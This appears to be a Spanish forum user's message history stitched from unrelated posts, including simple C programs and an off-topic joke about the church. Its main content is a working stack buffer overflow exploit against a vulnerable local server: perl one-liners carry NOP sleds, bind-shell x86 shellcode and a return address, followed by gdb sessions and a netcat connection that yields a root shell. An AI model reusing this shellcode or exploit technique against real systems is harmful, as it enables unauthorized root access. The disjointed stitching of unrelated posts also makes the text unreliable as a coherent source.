El problema es cuando metes más de un carácter... BoF total y nunca más claro Con %s debería soltarte un waring, es un fallo de seguridad serio... Sencillamente abrid el programa con GDB y meterle unas 20 ases...
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
int vuln (char *trampa)
{
char buffer [100];
strcpy (buffer, trampa);
printf ("Buffer [0x%08x] contains %s...\n", &buffer, buffer);
}
juanra@Juanra:~$ nc -vv localhost 5074
localhost [127.0.0.1] 5074 (?) open
sent 0, rcvd 0
juanra@Juanra:~$
juanra@Juanra:~$ perl -e 'print "\x90"x12 . "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x28\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31337
hK 2.0 - By Sagrini (2010) - 22/02/2011 01:04:25
22/02/2011 01:04:25 Got connection with 127.0.0.1:31337
juanra@Juanra:~$
juanra@Juanra:~/Escritorio/Serv$ sudo ./serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 22/02/2011 01:04:19
22/02/2011 01:04:19 Starting up...
22/02/2011 01:04:25 Got connection from 127.0.0.1:58332
22/02/2011 01:04:25 RECV 109 bytes: ������������1�P@��P@P���f̀1�Rfh�CfS��jQP���f̀@�D$CC�f̀��
RRC�f̀��Ѱ?̀A��u�Rhn/shh//bi��RS���
Fallo de segmentación
juanra@Juanra:~/Escritorio/Serv$ sudo ./serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 22/02/2011 01:13:49
22/02/2011 01:13:49 Starting up...
22/02/2011 01:13:51 Got connection from 127.0.0.1:50840
22/02/2011 01:13:51 RECV 109 bytes: ��������������������������������������������������������������������������������1��1ҲjB��1�C̀1�1�@̀(���
Buffer [0xbffff824] contains ��������������������������������������������������������������������������������1��1ҲjB��1�C̀1�1�@̀(���...
Bjuanra@Juanra:~/Escritorio/Serv$
juanra@Juanra:~$ perl -e 'print "\x90"x80 . "\x31\xc0\xb0\x04\x31\xd2\xb2\x01\x6a\x42\x89\xe1\x31\xdb\x43\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80" . "\x28\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31337
hK 2.0 - By Sagrini (2010) - 22/02/2011 01:13:51
22/02/2011 01:13:51 Got connection with 127.0.0.1:31337
juanra@Juanra:~$
juanra@Juanra:~/Escritorio/Serv$ sudo gdb -q serv
(gdb) r 31330
Starting program: /home/juanra/Escritorio/Serv/serv 31330
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 21/02/2011 23:16:53
21/02/2011 23:16:53 Starting up...
21/02/2011 23:17:00 Got connection from 127.0.0.1:43225
21/02/2011 23:17:00 RECV 109 bytes: ������������1�P@��P@P���f̀1�Rfh�CfS��jQP���f̀@�D$CC�f̀��
RRC�f̀��Ѱ?̀A��u�Rhn/shh//bi��RS���
juanra@Juanra:~$ perl -e 'print "\x90"x12 . "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x35\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31330
hK 2.0 - By Sagrini (2010) - 21/02/2011 23:17:00
21/02/2011 23:17:00 Got connection with 127.0.0.1:31330
juanra@Juanra:~$
juanra@Juanra:~$ nc -vv localhost 5074
localhost [127.0.0.1] 5074 (?) open
whoami
root
groups
root
exit
sent 19, rcvd 10
juanra@Juanra:~$
buffer [cont-1]='\0';
Cita de: Xafirot en 21 Febrero 2011, 23:10 PM
saGRIINIII escondete en algun sitio te vamos a dar cazaaaa jajaja XD es broma menos mal que no todos los cristinanos son gilipollas?
Una de la cosas que creo que la iglesia podria odiar a los hackers . es por la inteligencia... como di hace poco en historia un pampleto vi...
Nombles-> nosotros te mandamos.
Clero-> Nosotros te atontamos...
esto en sus años pues era verdad..
#include <stdio.h>
#include <stdlib.h>
int main()
{
int i,j, opc;
char letra;
for(i=0;i<10;i++)
{
for(j=0;j<5;j++)
{
printf("Ingrese letra de letra del apartamento: ");
letra = getc (stdin);
printf("1) Pago expensas\t2) No pago expensas\nOpcion: ");
scanf ("%d", &opc);
switch (opc)
{
case 1 : printf ("\nPiso %d letra del apartamento %c no pago expensas!\n",i,letra); break;
case 2 : printf ("\nHola Carlos!\n"); break;
default: printf ("\nOpcion incorrecta...\n"); break;
}
}
}
return 0;
}
#include <stdio.h>
#include <string.h>
int main (int argc, char *argv [])
{
printf ("Código del programa 0.1 : Sagrini 2011\n");
if (argc != 3)
{
printf ("Uso: %s <origen> <destino>\n\n", argv [0]);
return 1;
}
FILE *fp, *dest;
char buff;
if ((fp=fopen (argv [1], "r+"))==NULL)
{
printf ("%s no existe o no puede ser abierto...\n\n", argv [1]);
return 1;
}
if ((dest=fopen (argv [2], "w+"))==NULL)
{
printf ("%s no puede ser creado...\n\n", argv [2]);
return 1;
}
while (!feof (fp))
{
buff=fgetc (fp);
fprintf (dest, "%c", buff);
}
printf ("Operacion finalizada con exito\n\n");
fclose (fp);
fclose (dest);
return 0;
}